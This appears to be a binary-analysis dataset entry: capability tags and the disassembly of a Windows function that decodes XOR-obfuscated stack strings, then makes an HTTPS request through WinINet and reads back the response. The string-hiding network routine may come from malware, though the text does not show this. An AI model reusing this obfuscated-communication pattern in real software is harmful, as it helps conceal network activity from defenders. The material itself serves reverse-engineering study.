Function at 0x404455
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x508
movabs rax, 0xe22ba33ff6c88180
movabs rbp, 0xcf5fcd5a82a6eec3
movabs rsi, 0x43c85e17a87245b8
mov r13, rdx
mov rdi, r8
mov r14, rcx
mov rbx, r9
lea rdx, [rsp + 0x49f]
lea r15, [rsp + 0x60]
movabs r8, 0x9b6b748c7937945
movabs rcx, 0xb2076566f3cd7377
and rdx, 0xffffffffffffffe0
mov qword [rdx], rax
movabs rax, 0x33a97e2dcd023cec
mov qword [rdx + 0x48], rsi
mov qword [rdx + 0x40], rbp
mov qword [rdx + 8], rax
movabs rax, 0x66dfc329a4fa1535
mov qword [rdx + 0x50], r8
movabs r8, 0xde2d44c59b6e525a
mov qword [rdx + 0x10], rax
movabs rax, 0xd4202aaae8047d34
mov qword [rdx + 0x58], r8
mov qword [rdx + 0x18], rax
vmovdqu ymm1, ymmword [rdx]
movabs rax, 0x30da7293e071d41c
vpxor ymm0, ymm1, ymmword [rdx + 0x40]
vmovdqu ymmword [rdx], ymm0
mov qword [rdx + 0x28], rax
mov qword [rdx + 0x68], rax
mov qword [rdx + 0x20], rcx
vmovdqu xmm2, xmmword [rdx + 0x20]
mov qword [rdx + 0x60], rcx
vpxor xmm0, xmm2, xmmword [rdx + 0x60]
mov rcx, r15
vmovups xmmword [rdx + 0x20], xmm0
call fcn.00403210
mov qword [rsp + 0x48], rsi
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x88], rsi
lea rsi, [rsp + 0x80]
movabs rax, 0xfe71fc75d2f2ba8b
mov edx, 1
mov qword [rsp + 0x40], rbp
vmovdqu xmm3, xmmword [rsp + 0x40]
mov rcx, rsi
mov qword [rsp + 0x80], rax
vpxor xmm0, xmm3, xmmword [rsp + 0x80]
mov dword [rsp + 0x20], 0
vmovups xmmword [rsp + 0x80], xmm0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
je 0x40479a
mov qword [rsp + 0x38], 0
xor r9d, r9d
mov rcx, rax
mov r8d, 0x1bb
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov rdx, qword [r14]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r14, rax
test rax, rax
jne 0x4045fb
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r12d, 0xe5
jmp 0x4047b5
movabs rax, 0xcf5fcd5ad6f5a193
xor r9d, r9d
mov rcx, r14
movabs rdx, 0xcf5fcd5a82a6eec3
mov qword [rsp + 0x80], rax
movabs rax, 0x43c85e17a87245b8
mov qword [rsp + 0x40], rdx
mov rdx, rsi
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x48], rax
vmovdqu xmm4, xmmword [rsp + 0x40]
vpxor xmm0, xmm4, xmmword [rsp + 0x80]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8, qword [r13]
vmovups xmmword [rsp + 0x80], xmm0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r13, rax
test rax, rax
jne 0x4046a5
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call rbx
mov rcx, r12
call rbx
mov r12d, 0xe4
jmp 0x4047b5
mov dword [rsp + 0x58], 0xea60
mov r9d, 4
lea r8, [rsp + 0x58]
mov rcx, rax
mov edx, 6
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rax, qword [rdi + 8]
mov r8d, dword [rsp + 0x68]
mov rcx, r13
mov rdx, qword [rsp + 0x60]
mov dword [rsp + 0x20], eax
mov r9, qword [rdi]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x404720
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, eax
mov rcx, r13
call rsi
mov rcx, r14
call rsi
mov rcx, r12
call rsi
xor r12d, r12d
cmp ebx, 0x2ee2
sete r12b
lea r12d, [r12*4 + 0xe3]
jmp 0x4047b5
mov rax, qword [rbx]
mov qword [rbx + 8], 0
lea rdi, [rsp + 0x5c]
mov rbp, qword [sym.imp.WININET.dll_InternetReadFile]
mov byte [rax], 0
mov dword [rsp + 0x5c], 0
mov r9, rdi
mov r8d, 0x3ff
mov rdx, rsi
mov rcx, r13
call rbp
test eax, eax
je 0x40477c
mov eax, dword [rsp + 0x5c]
test eax, eax
je 0x40477c
mov rdx, rsi
mov rcx, rbx
mov byte [rsp + rax + 0x80], 0
call fcn.004a40d0
mov dword [rsp + 0x5c], 0
jmp 0x404742
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call rbx
mov rcx, r14
call rbx
mov rcx, r12
call rbx
mov r12d, 0xe8
jmp 0x4047b5
mov r12d, 0xe6
jmp 0x4047b5
mov rcx, r15
call fcn.004a18b0
mov eax, r12d
add rsp, 0x508
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret